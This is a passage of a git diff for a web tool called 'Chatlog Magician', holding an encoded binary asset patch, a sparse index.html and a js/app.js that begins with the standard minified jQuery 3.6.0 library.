z1Z0ynp-bV6LZI(@u@C(n_*6nq-?o877=j#@pyK>qbz-`yF zdeyVanq0LyJQ}B)DjrX80+F0(WP|TzZd_wCYdb#!Cact$=@X_c>M##X3-jDTyRy_R zhhi8Hu7}Un9VIi)sfL|=nvz4SW*&f!|Ho&dO1S^P{{MX44SO!#Ea~1f34ii=4|`}5 zC)Y$#u=U;oUVF&~v`#-V57x$OS!T=z=kqXQRp;!@Z)~tvkG@itbe^OnDO=Z;+wWEn zuSa&`2s5V+U!hj5CIfYBEAq&x(jIx}rUEZd+m>q|#Hk%fp22wZC>Awmv!XX{G#cS$ zPrK?HH@|l?!QM2$f98=7KegA6t_^*!XVt96OE*f%G<~>0xobkXI#!vff{K@BQ+SgU z4oQ;Dkh~A)|F{Fzlhc&=?c`v2oU&kyA8xbu={K(a`uE?z*aLjC0Z|_(Hc8 zwTdbu6$4?5aNLT8L@iv-H9-i&=W-ioOk-q77t@0wKe|6~JOxXv-m?vLQkCwB1b802 zdY;grM_yP_!!}2gWy1&H^kN)ti!)oIdK8HPVX-|VomD=xOQ{3=(wLh7Ich*dKR9~@ z&S^_11MqRkm9SRYp~+xK5wt^9P=7pn`M7i2pI&zzi4(HPw@tC(k9*`JUiP44w*ARy zZIz-BBk_?i5kf!HcD;zIQo=2O$^?hwY8pcvwSx!o@&BDM7PUi%=0NQl$&e+K9U><>lo%}B zr{2;cWnM*jAP44w!P8$|CvP};-gQ6N^=5wS`|&n+z#sV&=RG0Mvd;uXNyjgCshgJ+ zm0)p92whq^G&SUd&Y9inFoZJ@Fp(&rfv9O3Bs;qKbm!ExMM?i?s@ z5)JJE@1CVnPem|>iqVuTUgvu*s|K8Onr zQ@qgOF=Ze-dPVittwjNZ27CGIg;(8t^IQ(D`F}pym&*VE23<)+K~&i*NR8Uj!GJq`+BR9iR5YFs8Ze}pDZqNX zrM>8%Dz{e%~;l+z5!wOB3+z@EcbHuz!Gg@8GtvX;Q5e5EpmQ^@-0z zm3!D9U?XK)S6041DDvCaCZoLas+-26?1Mpj-)Fx4Z4%XTKi}pG_(RV<<6%|1b$#Jc zx9pE7&L(u?;v%&%x+_2@hK$(a5~YF*z|HA$0k7B!+ zAFVy&5mfBlsj=HVUDzi6f3AR^_~^4d??3CYm>IcHUxW zdpz{ZdQNGSQyc7#B1iI= zaGsd4R#;8qtPsW*23FgN6mY)7)F(Cv0x6O+)|@AMMF;ZV%SD6JXg7-%4y7q-O~fO& zaX1~$CGjZcj%7~{tHr^$d_G#RXMewc+S{)D;=X%%8TZ@M<^niIY47nTpNxCGpBfA& zlurtZ!R+v*d!(X_&)Ejh3m(xz=u?Meh`pB!?MN0|IcGlFaw>u_qddtbTiL8;=b_r= zcJRm$clC_uaHtin!!>6W+_4`?W(H){e2+al{D*wz=GvgO1CBK~FrQp6}6CKcOyqywR3ZkH41T zI!I0C=*)!b4}1yTOv^*ES)ESu_(uyX}k^wEPs(_1x-n9+CJGEt1 zOOtZz8m%|Mj49wv=rCgWOjJEK6Pqm#@wZPw1qyYU)Fn` aulc`16NAd3#j1S(0000 + + + + + + + + Chatlog Magician + + + + + + + + + + +
+ +
+
+
+ +
+
+
+
+
+
+ + +
+
+
+
+ +
+
+
+ +
+ +
+
+ +
+ Logo +
+
+
+
+ +
+ Please refer to this topic for + usage. +
+
+
+ +
+
+
+
+
+ + + + + + + + + + + diff --git a/js/app.js b/js/app.js new file mode 100644 index 0000000..815a106 --- /dev/null +++ b/js/app.js @@ -0,0 +1,3262 @@ +/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ ! function(e, t) { + "use strict"; + "object" == typeof module && "object" == typeof module.exports ? module.exports = e.document ? t(e, !0) : function(e) { + if (!e.document) throw new Error("jQuery requires a window with a document"); + return t(e) + } : t(e) +}("undefined" != typeof window ? window : this, function(C, e) { + "use strict"; + var t = [], + r = Object.getPrototypeOf, + s = t.slice, + g = t.flat ? function(e) { + return t.flat.call(e) + } : function(e) { + return t.concat.apply([], e) + }, + u = t.push, + i = t.indexOf, + n = {}, + o = n.toString, + v = n.hasOwnProperty, + a = v.toString, + l = a.call(Object), + y = {}, + m = function(e) { + return "function" == typeof e && "number" != typeof e.nodeType && "function" != typeof e.item + }, + x = function(e) { + return null != e && e === e.window + }, + E = C.document, + c = { + type: !0, + src: !0, + nonce: !0, + noModule: !0 + }; + + function b(e, t, n) { + var r, i, o = (n = n || E).createElement("script"); + if (o.text = e, t) + for (r in c)(i = t[r] || t.getAttribute && t.getAttribute(r)) && o.setAttribute(r, i); + n.head.appendChild(o).parentNode.removeChild(o) + } + + function w(e) { + return null == e ? e + "" : "object" == typeof e || "function" == typeof e ? n[o.call(e)] || "object" : typeof e + } + var f = "3.6.0", + S = function(e, t) { + return new S.fn.init(e, t) + }; + + function p(e) { + var t = !!e && "length" in e && e.length, + n = w(e); + return !m(e) && !x(e) && ("array" === n || 0 === t || "number" == typeof t && 0 < t && t - 1 in e) + } + S.fn = S.prototype = { + jquery: f, + constructor: S, + length: 0, + toArray: function() { + return s.call(this) + }, + get: function(e) { + return null == e ? s.call(this) : e < 0 ? this[e + this.length] : this[e] + }, + pushStack: function(e) { + var t = S.merge(this.constructor(), e); + return t.prevObject = this, t + }, + each: function(e) { + return S.each(this, e) + }, + map: function(n) { + return this.pushStack(S.map(this, function(e, t) { + return n.call(e, t, e) + })) + }, + slice: function() { + return this.pushStack(s.apply(this, arguments)) + }, + first: function() { + return this.eq(0) + }, + last: function() { + return this.eq(-1) + }, + even: function() { + return this.pushStack(S.grep(this, function(e, t) { + return (t + 1) % 2 + })) + }, + odd: function() { + return this.pushStack(S.grep(this, function(e, t) { + return t % 2 + })) + }, + eq: function(e) { + var t = this.length, + n = +e + (e < 0 ? t : 0); + return this.pushStack(0 <= n && n < t ? [this[n]] : []) + }, + end: function() { + return this.prevObject || this.constructor() + }, + push: u, + sort: t.sort, + splice: t.splice + }, S.extend = S.fn.extend = function() { + var e, t, n, r, i, o, a = arguments[0] || {}, + s = 1, + u = arguments.length, + l = !1; + for ("boolean" == typeof a && (l = a, a = arguments[s] || {}, s++), "object" == typeof a || m(a) || (a = {}), s === u && (a = this, s--); s < u; s++) + if (null != (e = arguments[s])) + for (t in e) r = e[t], "__proto__" !== t && a !== r && (l && r && (S.isPlainObject(r) || (i = Array.isArray(r))) ? (n = a[t], o = i && !Array.isArray(n) ? [] : i || S.isPlainObject(n) ? n : {}, i = !1, a[t] = S.extend(l, o, r)) : void 0 !== r && (a[t] = r)); + return a + }, S.extend({ + expando: "jQuery" + (f + Math.random()).replace(/\D/g, ""), + isReady: !0, + error: function(e) { + throw new Error(e) + }, + noop: function() {}, + isPlainObject: function(e) { + var t, n; + return !(!e || "[object Object]" !== o.call(e)) && (!(t = r(e)) || "function" == typeof(n = v.call(t, "constructor") && t.constructor) && a.call(n) === l) + }, + isEmptyObject: function(e) { + var t; + for (t in e) return !1; + return !0 + }, + globalEval: function(e, t, n) { + b(e, { + nonce: t && t.nonce + }, n) + }, + each: function(e, t) { + var n, r = 0; + if (p(e)) { + for (n = e.length; r < n; r++) + if (!1 === t.call(e[r], r, e[r])) break + } else + for (r in e) + if (!1 === t.call(e[r], r, e[r])) break; + return e + }, + makeArray: function(e, t) { + var n = t || []; + return null != e && (p(Object(e)) ? S.merge(n, "string" == typeof e ? [e] : e) : u.call(n, e)), n + }, + inArray: function(e, t, n) { + return null == t ? -1 : i.call(t, e, n) + }, + merge: function(e, t) { + for (var n = +t.length, r = 0, i = e.length; r < n; r++) e[i++] = t[r]; + return e.length = i, e + }, + grep: function(e, t, n) { + for (var r = [], i = 0, o = e.length, a = !n; i < o; i++) !t(e[i], i) !== a && r.push(e[i]); + return r + }, + map: function(e, t, n) { + var r, i, o = 0, + a = []; + if (p(e)) + for (r = e.length; o < r; o++) null != (i = t(e[o], o, n)) && a.push(i); + else + for (o in e) null != (i = t(e[o], o, n)) && a.push(i); + return g(a) + }, + guid: 1, + support: y + }), "function" == typeof Symbol && (S.fn[Symbol.iterator] = t[Symbol.iterator]), S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "), function(e, t) { + n["[object " + t + "]"] = t.toLowerCase() + }); + var d = function(n) { + var e, d, b, o, i, h, f, g, w, u, l, T, C, a, E, v, s, c, y, S = "sizzle" + 1 * new Date, + p = n.document, + k = 0, + r = 0, + m = ue(), + x = ue(), + A = ue(), + N = ue(), + j = function(e, t) { + return e === t && (l = !0), 0 + }, + D = {}.hasOwnProperty, + t = [], + q = t.pop, + L = t.push, + H = t.push, + O = t.slice, + P = function(e, t) { + for (var n = 0, r = e.length; n < r; n++) + if (e[n] === t) return n; + return -1 + }, + R = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", + M = "[\\x20\\t\\r\\n\\f]", + I = "(?:\\\\[\\da-fA-F]{1,6}" + M + "?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+", + W = "\\[" + M + "*(" + I + ")(?:" + M + "*([*^$|!~]?=)" + M + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + I + "))|)" + M + "*\\]", + F = ":(" + I + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + W + ")*)|.*)\\)|)", + B = new RegExp(M + "+", "g"), + $ = new RegExp("^" + M + "+|((?:^|[^\\\\])(?:\\\\.)*)" + M + "+$", "g"), + _ = new RegExp("^" + M + "*," + M + "*"), + z = new RegExp("^" + M + "*([>+~]|" + M + ")" + M + "*"), + U = new RegExp(M + "|>"), + X = new RegExp(F), + V = new RegExp("^" + I + "$"), + G = { + ID: new RegExp("^#(" + I + ")"), + CLASS: new RegExp("^\\.(" + I + ")"), + TAG: new RegExp("^(" + I + "|[*])"), + ATTR: new RegExp("^" + W), + PSEUDO: new RegExp("^" + F), + CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + M + "*(even|odd|(([+-]|)(\\d*)n|)" + M + "*(?:([+-]|)" + M + "*(\\d+)|))" + M + "*\\)|)", "i"), + bool: new RegExp("^(?:" + R + ")$", "i"), + needsContext: new RegExp("^" + M + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + M + "*((?:-\\d)?\\d*)" + M + "*\\)|)(?=[^-]|$)", "i") + }, + Y = /HTML$/i, + Q = /^(?:input|select|textarea|button)$/i, + J = /^h\d$/i, + K = /^[^{]+\{\s*\[native \w/, + Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, + ee = /[+~]/, + te = new RegExp("\\\\[\\da-fA-F]{1,6}" + M + "?|\\\\([^\\r\\n\\f])", "g"), + ne = function(e, t) { + var n = "0x" + e.slice(1) - 65536; + return t || (n < 0 ? String.fromCharCode(n + 65536) : String.fromCharCode(n >> 10 | 55296, 1023 & n | 56320)) + }, + re = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g, + ie = function(e, t) { + return t ? "\0" === e ? "\ufffd" : e.slice(0, -1) + "\\" + e.charCodeAt(e.length - 1).toString(16) + " " : "\\" + e + }, + oe = function() { + T() + }, + ae = be(function(e) { + return !0 === e.disabled && "fieldset" === e.nodeName.toLowerCase() + }, { + dir: "parentNode", + next: "legend" + }); + try { + H.apply(t = O.call(p.childNodes), p.childNodes), t[p.childNodes.length].nodeType + } catch (e) { + H = { + apply: t.length ? function(e, t) { + L.apply(e, O.call(t)) + } : function(e, t) { + var n = e.length, + r = 0; + while (e[n++] = t[r++]); + e.length = n - 1 + } + } + } + + function se(t, e, n, r) { + var i, o, a, s, u, l, c, f = e && e.ownerDocument, + p = e ? e.nodeType : 9; + if (n = n || [], "string" != typeof t || !t || 1 !== p && 9 !== p && 11 !== p) return n; + if (!r && (T(e), e = e || C, E)) { + if (11 !== p && (u = Z.exec(t))) + if (i = u[1]) { + if (9 === p) { + if (!(a = e.getElementById(i))) return n; + if (a.id === i) return n.push(a), n + } else if (f && (a = f.getElementById(i)) && y(e, a) && a.id === i) return n.push(a), n + } else { + if (u[2]) return H.apply(n, e.getElementsByTagName(t)), n; + if ((i = u[3]) && d.getElementsByClassName && e.getElementsByClassName) return H.apply(n, e.getElementsByClassName(i)), n + } + if (d.qsa && !N[t + " "] && (!v || !v.test(t)) && (1 !== p || "object" !== e.nodeName.toLowerCase())) { + if (c = t, f = e, 1 === p && (U.test(t) || z.test(t))) { + (f = ee.test(t) && ye(e.parentNode) || e) === e && d.scope || ((s = e.getAttribute("id")) ? s = s.replace(re, ie) : e.setAttribute("id", s = S)), o = (l = h(t)).length; + while (o--) l[o] = (s ? "#" + s : ":scope") + " " + xe(l[o]); + c = l.join(",") + } + try { + return H.apply(n, f.querySelectorAll(c)), n + } catch (e) { + N(t, !0) + } finally { + s === S && e.removeAttribute("id") + } + } + } + return g(t.replace($, "$1"), e, n, r) + } + + function ue() { + var r = []; + return function e(t, n) { + return r.push(t + " ") > b.cacheLength && delete e[r.shift()], e[t + " "] = n + } + } + + function le(e) { + return e[S] = !0, e + } + + function ce(e) { + var t = C.createElement("fieldset"); + try { + return !!e(t) + } catch (e) { + return !1 + } finally { + t.parentNode && t.parentNode.removeChild(t), t = null + } + } + + function fe(e, t) { + var n = e.split("|"), + r = n.length; + while (r--) b.attrHandle[n[r]] = t + } + + function pe(e, t) { + var n = t && e, + r = n && 1 === e.nodeType && 1 === t.nodeType && e.sourceIndex - t.sourceIndex; + if (r) return r; + if (n) + while (n = n.nextSibling) + if (n === t) return -1; + return e ? 1 : -1 + } + + function de(t) { + return function(e) { + return "input" === e.nodeName.toLowerCase() && e.type === t + } + } + + function he(n) { + return function(e) { + var t = e.nodeName.toLowerCase(); + return ("input" === t || "button" === t) && e.type === n + } + } + + function ge(t) { + return function(e) { + return "form" in e ? e.parentNode && !1 === e.disabled ? "label" in e ? "label" in e.parentNode ? e.parentNode.disabled === t : e.disabled === t : e.isDisabled === t || e.isDisabled !== !t && ae(e) === t : e.disabled === t : "label" in e && e.disabled === t + } + } + + function ve(a) { + return le(function(o) { + return o = +o, le(function(e, t) { + var n, r = a([], e.length, o), + i = r.length; + while (i--) e[n = r[i]] && (e[n] = !(t[n] = e[n])) + }) + }) + } + + function ye(e) { + return e && "undefined" != typeof e.getElementsByTagName && e + } + for (e in d = se.support = {}, i = se.isXML = function(e) { + var t = e && e.namespaceURI, + n = e && (e.ownerDocument || e).documentElement; + return !Y.test(t || n && n.nodeName || "HTML") + }, T = se.setDocument = function(e) { + var t, n, r = e ? e.ownerDocument || e : p; + return r != C && 9 === r.nodeType && r.documentElement && (a = (C = r).documentElement, E = !i(C), p != C && (n = C.defaultView) && n.top !== n && (n.addEventListener ? n.addEventListener("unload", oe, !1) : n.attachEvent && n.attachEvent("onunload", oe)), d.scope = ce(function(e) { + return a.appendChild(e).appendChild(C.createElement("div")), "undefined" != typeof e.querySelectorAll && !e.querySelectorAll(":scope fieldset div").length + }), d.attributes = ce(function(e) { + return e.className = "i", !e.getAttribute("className") + }), d.getElementsByTagName = ce(function(e) { + return e.appendChild(C.createComment("")), !e.getElementsByTagName("*").length + }), d.getElementsByClassName = K.test(C.getElementsByClassName), d.getById = ce(function(e) { + return a.appendChild(e).id = S, !C.getElementsByName || !C.getElementsByName(S).length + }), d.getById ? (b.filter.ID = function(e) { + var t = e.replace(te, ne); + return function(e) { + return e.getAttribute("id") === t + } + }, b.find.ID = function(e, t) { + if ("undefined" != typeof t.getElementById && E) { + var n = t.getElementById(e); + return n ? [n] : [] + } + }) : (b.filter.ID = function(e) { + var n = e.replace(te, ne); + return function(e) { + var t = "undefined" != typeof e.getAttributeNode && e.getAttributeNode("id"); + return t && t.value === n + } + }, b.find.ID = function(e, t) { + if ("undefined" != typeof t.getElementById && E) { + var n, r, i, o = t.getElementById(e); + if (o) { + if ((n = o.getAttributeNode("id")) && n.value === e) return [o]; + i = t.getElementsByName(e), r = 0; + while (o = i[r++]) + if ((n = o.getAttributeNode("id")) && n.value === e) return [o] + } + return [] + } + }), b.find.TAG = d.getElementsByTagName ? function(e, t) { + return "undefined" != typeof t.getElementsByTagName ? t.getElementsByTagName(e) : d.qsa ? t.querySelectorAll(e) : void 0 + } : function(e, t) { + var n, r = [], + i = 0, + o = t.getElementsByTagName(e); + if ("*" === e) { + while (n = o[i++]) 1 === n.nodeType && r.push(n); + return r + } + return o + }, b.find.CLASS = d.getElementsByClassName && function(e, t) { + if ("undefined" != typeof t.getElementsByClassName && E) return t.getElementsByClassName(e) + }, s = [], v = [], (d.qsa = K.test(C.querySelectorAll)) && (ce(function(e) { + var t; + a.appendChild(e).innerHTML = "", e.querySelectorAll("[msallowcapture^='']").length && v.push("[*^$]=" + M + "*(?:''|\"\")"), e.querySelectorAll("[selected]").length || v.push("\\[" + M + "*(?:value|" + R + ")"), e.querySelectorAll("[id~=" + S + "-]").length || v.push("~="), (t = C.createElement("input")).setAttribute("name", ""), e.appendChild(t), e.querySelectorAll("[name='']").length || v.push("\\[" + M + "*name" + M + "*=" + M + "*(?:''|\"\")"), e.querySelectorAll(":checked").length || v.push(":checked"), e.querySelectorAll("a#" + S + "+*").length || v.push(".#.+[+~]"), e.querySelectorAll("\\\f"), v.push("[\\r\\n\\f]") + }), ce(function(e) { + e.innerHTML = ""; + var t = C.createElement("input"); + t.setAttribute("type", "hidden"), e.appendChild(t).setAttribute("name", "D"), e.querySelectorAll("[name=d]").length && v.push("name" + M + "*[*^$|!~]?="), 2 !== e.querySelectorAll(":enabled").length && v.push(":enabled", ":disabled"), a.appendChild(e).disabled = !0, 2 !== e.querySelectorAll(":disabled").length && v.push(":enabled", ":disabled"), e.querySelectorAll("*,:x"), v.push(",.*:") + })), (d.matchesSelector = K.test(c = a.matches || a.webkitMatchesSelector || a.mozMatchesSelector || a.oMatchesSelector || a.msMatchesSelector)) && ce(function(e) { + d.disconnectedMatch = c.call(e, "*"), c.call(e, "[s!='']:x"), s.push("!=", F) + }), v = v.length && new RegExp(v.join("|")), s = s.length && new RegExp(s.join("|")), t = K.test(a.compareDocumentPosition), y = t || K.test(a.contains) ? function(e, t) { + var n = 9 === e.nodeType ? e.documentElement : e, + r = t && t.parentNode; + return e === r || !(!r || 1 !== r.nodeType || !(n.contains ? n.contains(r) : e.compareDocumentPosition && 16 & e.compareDocumentPosition(r))) + } : function(e, t) { + if (t) + while (t = t.parentNode) + if (t === e) return !0; + return !1 + }, j = t ? function(e, t) { + if (e === t) return l = !0, 0; + var n = !e.compareDocumentPosition - !t.compareDocumentPosition; + return n || (1 & (n = (e.ownerDocument || e) == (t.ownerDocument || t) ? e.compareDocumentPosition(t) : 1) || !d.sortDetached && t.compareDocumentPosition(e) === n ? e == C || e.ownerDocument == p && y(p, e) ? -1 : t == C || t.ownerDocument == p && y(p, t) ? 1 : u ? P(u, e) - P(u, t) : 0 : 4 & n ? -1 : 1) + } : function(e, t) { + if (e === t) return l = !0, 0; + var n, r = 0, + i = e.parentNode, + o = t.parentNode, + a = [e], + s = [t]; + if (!i || !o) return e == C ? -1 : t == C ? 1 : i ? -1 : o ? 1 : u ? P(u, e) - P(u, t) : 0; + if (i === o) return pe(e, t); + n = e; + while (n = n.parentNode) a.unshift(n); + n = t; + while (n = n.parentNode) s.unshift(n); + while (a[r] === s[r]) r++; + return r ? pe(a[r], s[r]) : a[r] == p ? -1 : s[r] == p ? 1 : 0 + }), C + }, se.matches = function(e, t) { + return se(e, null, null, t) + }, se.matchesSelector = function(e, t) { + if (T(e), d.matchesSelector && E && !N[t + " "] && (!s || !s.test(t)) && (!v || !v.test(t))) try { + var n = c.call(e, t); + if (n || d.disconnectedMatch || e.document && 11 !== e.document.nodeType) return n + } catch (e) { + N(t, !0) + } + return 0 < se(t, C, null, [e]).length + }, se.contains = function(e, t) { + return (e.ownerDocument || e) != C && T(e), y(e, t) + }, se.attr = function(e, t) { + (e.ownerDocument || e) != C && T(e); + var n = b.attrHandle[t.toLowerCase()], + r = n && D.call(b.attrHandle, t.toLowerCase()) ? n(e, t, !E) : void 0; + return void 0 !== r ? r : d.attributes || !E ? e.getAttribute(t) : (r = e.getAttributeNode(t)) && r.specified ? r.value : null + }, se.escape = function(e) { + return (e + "").replace(re, ie) + }, se.error = function(e) { + throw new Error("Syntax error, unrecognized expression: " + e) + }, se.uniqueSort = function(e) { + var t, n = [], + r = 0, + i = 0; + if (l = !d.detectDuplicates, u = !d.sortStable && e.slice(0), e.sort(j), l) { + while (t = e[i++]) t === e[i] && (r = n.push(i)); + while (r--) e.splice(n[r], 1) + } + return u = null, e + }, o = se.getText = function(e) { + var t, n = "", + r = 0, + i = e.nodeType; + if (i) { + if (1 === i || 9 === i || 11 === i) { + if ("string" == typeof e.textContent) return e.textContent; + for (e = e.firstChild; e; e = e.nextSibling) n += o(e) + } else if (3 === i || 4 === i) return e.nodeValue + } else + while (t = e[r++]) n += o(t); + return n + }, (b = se.selectors = { + cacheLength: 50, + createPseudo: le, + match: G, + attrHandle: {}, + find: {}, + relative: { + ">": { + dir: "parentNode", + first: !0 + }, + " ": { + dir: "parentNode" + }, + "+": { + dir: "previousSibling", + first: !0 + }, + "~": { + dir: "previousSibling" + } + }, + preFilter: { + ATTR: function(e) { + return e[1] = e[1].replace(te, ne), e[3] = (e[3] || e[4] || e[5] || "").replace(te, ne), "~=" === e[2] && (e[3] = " " + e[3] + " "), e.slice(0, 4) + }, + CHILD: function(e) { + return e[1] = e[1].toLowerCase(), "nth" === e[1].slice(0, 3) ? (e[3] || se.error(e[0]), e[4] = +(e[4] ? e[5] + (e[6] || 1) : 2 * ("even" === e[3] || "odd" === e[3])), e[5] = +(e[7] + e[8] || "odd" === e[3])) : e[3] && se.error(e[0]), e + }, + PSEUDO: function(e) { + var t, n = !e[6] && e[2]; + return G.CHILD.test(e[0]) ? null : (e[3] ? e[2] = e[4] || e[5] || "" : n && X.test(n) && (t = h(n, !0)) && (t = n.indexOf(")", n.length - t) - n.length) && (e[0] = e[0].slice(0, t), e[2] = n.slice(0, t)), e.slice(0, 3)) + } + }, + filter: { + TAG: function(e) { + var t = e.replace(te, ne).toLowerCase(); + return "*" === e ? function() { + return !0 + } : function(e) { + return e.nodeName && e.nodeName.toLowerCase() === t + } + }, + CLASS: function(e) { + var t = m[e + " "]; + return t || (t = new RegExp("(^|" + M + ")" + e + "(" + M + "|$)")) && m(e, function(e) { + return t.test("string" == typeof e.className && e.className || "undefined" != typeof e.getAttribute && e.getAttribute("class") || "") + }) + }, + ATTR: function(n, r, i) { + return function(e) { + var t = se.attr(e, n); + return null == t ? "!=" === r : !r || (t += "", "=" === r ? t === i : "!=" === r ? t !== i : "^=" === r ? i && 0 === t.indexOf(i) : "*=" === r ? i && -1 < t.indexOf(i) : "$=" === r ? i && t.slice(-i.length) === i : "~=" === r ? -1 < (" " + t.replace(B, " ") + " ").indexOf(i) : "|=" === r && (t === i || t.slice(0, i.length + 1) === i + "-")) + } + }, + CHILD: function(h, e, t, g, v) { + var y = "nth" !== h.slice(0, 3), + m = "last" !== h.slice(-4), + x = "of-type" === e; + return 1 === g && 0 === v ? function(e) { + return !!e.parentNode + } : function(e, t, n) { + var r, i, o, a, s, u, l = y !== m ? "nextSibling" : "previousSibling", + c = e.parentNode, + f = x && e.nodeName.toLowerCase(), + p = !n && !x, + d = !1; + if (c) { + if (y) { + while (l) { + a = e; + while (a = a[l]) + if (x ? a.nodeName.toLowerCase() === f : 1 === a.nodeType) return !1; + u = l = "only" === h && !u && "nextSibling" + } + return !0 + } + if (u = [m ? c.firstChild : c.lastChild], m && p) { + d = (s = (r = (i = (o = (a = c)[S] || (a[S] = {}))[a.uniqueID] || (o[a.uniqueID] = {}))[h] || [])[0] === k && r[1]) && r[2], a = s && c.childNodes[s]; + while (a = ++s && a && a[l] || (d = s = 0) || u.pop()) + if (1 === a.nodeType && ++d && a === e) { + i[h] = [k, s, d]; + break + } + } else if (p && (d = s = (r = (i = (o = (a = e)[S] || (a[S] = {}))[a.uniqueID] || (o[a.uniqueID] = {}))[h] || [])[0] === k && r[1]), !1 === d) + while (a = ++s && a && a[l] || (d = s = 0) || u.pop()) + if ((x ? a.nodeName.toLowerCase() === f : 1 === a.nodeType) && ++d && (p && ((i = (o = a[S] || (a[S] = {}))[a.uniqueID] || (o[a.uniqueID] = {}))[h] = [k, d]), a === e)) break; + return (d -= v) === g || d % g == 0 && 0 <= d / g + } + } + }, + PSEUDO: function(e, o) { + var t, a = b.pseudos[e] || b.setFilters[e.toLowerCase()] || se.error("unsupported pseudo: " + e); + return a[S] ? a(o) : 1 < a.length ? (t = [e, e, "", o], b.setFilters.hasOwnProperty(e.toLowerCase()) ? le(function(e, t) { + var n, r = a(e, o), + i = r.length; + while (i--) e[n = P(e, r[i])] = !(t[n] = r[i]) + }) : function(e) { + return a(e, 0, t) + }) : a + } + }, + pseudos: { + not: le(function(e) { + var r = [], + i = [], + s = f(e.replace($, "$1")); + return s[S] ? le(function(e, t, n, r) { + var i, o = s(e, null, r, []), + a = e.length; + while (a--)(i = o[a]) && (e[a] = !(t[a] = i)) + }) : function(e, t, n) { + return r[0] = e, s(r, null, n, i), r[0] = null, !i.pop() + } + }), + has: le(function(t) { + return function(e) { + return 0 < se(t, e).length + } + }), + contains: le(function(t) { + return t = t.replace(te, ne), + function(e) { + return -1 < (e.textContent || o(e)).indexOf(t) + } + }), + lang: le(function(n) { + return V.test(n || "") || se.error("unsupported lang: " + n), n = n.replace(te, ne).toLowerCase(), + function(e) { + var t; + do { + if (t = E ? e.lang : e.getAttribute("xml:lang") || e.getAttribute("lang")) return (t = t.toLowerCase()) === n || 0 === t.indexOf(n + "-") + } while ((e = e.parentNode) && 1 === e.nodeType); + return !1 + } + }), + target: function(e) { + var t = n.location && n.location.hash; + return t && t.slice(1) === e.id + }, + root: function(e) { + return e === a + }, + focus: function(e) { + return e === C.activeElement && (!C.hasFocus || C.hasFocus()) && !!(e.type || e.href || ~e.tabIndex) + }, + enabled: ge(!1), + disabled: ge(!0), + checked: function(e) { + var t = e.nodeName.toLowerCase(); + return "input" === t && !!e.checked || "option" === t && !!e.selected + }, + selected: function(e) { + return e.parentNode && e.parentNode.selectedIndex, !0 === e.selected + }, + empty: function(e) { + for (e = e.firstChild; e; e = e.nextSibling) + if (e.nodeType < 6) return !1; + return !0 + }, + parent: function(e) { + return !b.pseudos.empty(e) + }, + header: function(e) { + return J.test(e.nodeName) + }, + input: function(e) { + return Q.test(e.nodeName) + }, + button: function(e) { + var t = e.nodeName.toLowerCase(); + return "input" === t && "button" === e.type || "button" === t + }, + text: function(e) { + var t; + return "input" === e.nodeName.toLowerCase() && "text" === e.type && (null == (t = e.getAttribute("type")) || "text" === t.toLowerCase()) + }, + first: ve(function() { + return [0] + }), + last: ve(function(e, t) { + return [t - 1] + }), + eq: ve(function(e, t, n) { + return [n < 0 ? n + t : n] + }), + even: ve(function(e, t) { + for (var n = 0; n < t; n += 2) e.push(n); + return e + }), + odd: ve(function(e, t) { + for (var n = 1; n < t; n += 2) e.push(n); + return e + }), + lt: ve(function(e, t, n) { + for (var r = n < 0 ? n + t : t < n ? t : n; 0 <= --r;) e.push(r); + return e + }), + gt: ve(function(e, t, n) { + for (var r = n < 0 ? n + t : n; ++r < t;) e.push(r); + return e + }) + } + }).pseudos.nth = b.pseudos.eq, { + radio: !0, + checkbox: !0, + file: !0, + password: !0, + image: !0 + }) b.pseudos[e] = de(e); + for (e in { + submit: !0, + reset: !0 + }) b.pseudos[e] = he(e); + + function me() {} + + function xe(e) { + for (var t = 0, n = e.length, r = ""; t < n; t++) r += e[t].value; + return r + } + + function be(s, e, t) { + var u = e.dir, + l = e.next, + c = l || u, + f = t && "parentNode" === c, + p = r++; + return e.first ? function(e, t, n) { + while (e = e[u]) + if (1 === e.nodeType || f) return s(e, t, n); + return !1 + } : function(e, t, n) { + var r, i, o, a = [k, p]; + if (n) { + while (e = e[u]) + if ((1 === e.nodeType || f) && s(e, t, n)) return !0 + } else + while (e = e[u]) + if (1 === e.nodeType || f) + if (i = (o = e[S] || (e[S] = {}))[e.uniqueID] || (o[e.uniqueID] = {}), l && l === e.nodeName.toLowerCase()) e = e[u] || e; + else { + if ((r = i[c]) && r[0] === k && r[1] === p) return a[2] = r[2]; + if ((i[c] = a)[2] = s(e, t, n)) return !0 + } return !1 + } + } + + function we(i) { + return 1 < i.length ? function(e, t, n) { + var r = i.length; + while (r--) + if (!i[r](e, t, n)) return !1; + return !0 + } : i[0] + } + + function Te(e, t, n, r, i) { + for (var o, a = [], s = 0, u = e.length, l = null != t; s < u; s++)(o = e[s]) && (n && !n(o, r, i) || (a.push(o), l && t.push(s))); + return a + } + + function Ce(d, h, g, v, y, e) { + return v && !v[S] && (v = Ce(v)), y && !y[S] && (y = Ce(y, e)), le(function(e, t, n, r) { + var i, o, a, s = [], + u = [], + l = t.length, + c = e || function(e, t, n) { + for (var r = 0, i = t.length; r < i; r++) se(e, t[r], n); + return n + }(h || "*", n.nodeType ? [n] : n, []), + f = !d || !e && h ? c : Te(c, s, d, n, r), + p = g ? y || (e ? d : l || v) ? [] : t : f; + if (g && g(f, p, n, r), v) { + i = Te(p, u), v(i, [], n, r), o = i.length; + while (o--)(a = i[o]) && (p[u[o]] = !(f[u[o]] = a)) + } + if (e) { + if (y || d) { + if (y) { + i = [], o = p.length; + while (o--)(a = p[o]) && i.push(f[o] = a); + y(null, p = [], i, r) + } + o = p.length; + while (o--)(a = p[o]) && -1 < (i = y ? P(e, a) : s[o]) && (e[i] = !(t[i] = a)) + } + } else p = Te(p === t ? p.splice(l, p.length) 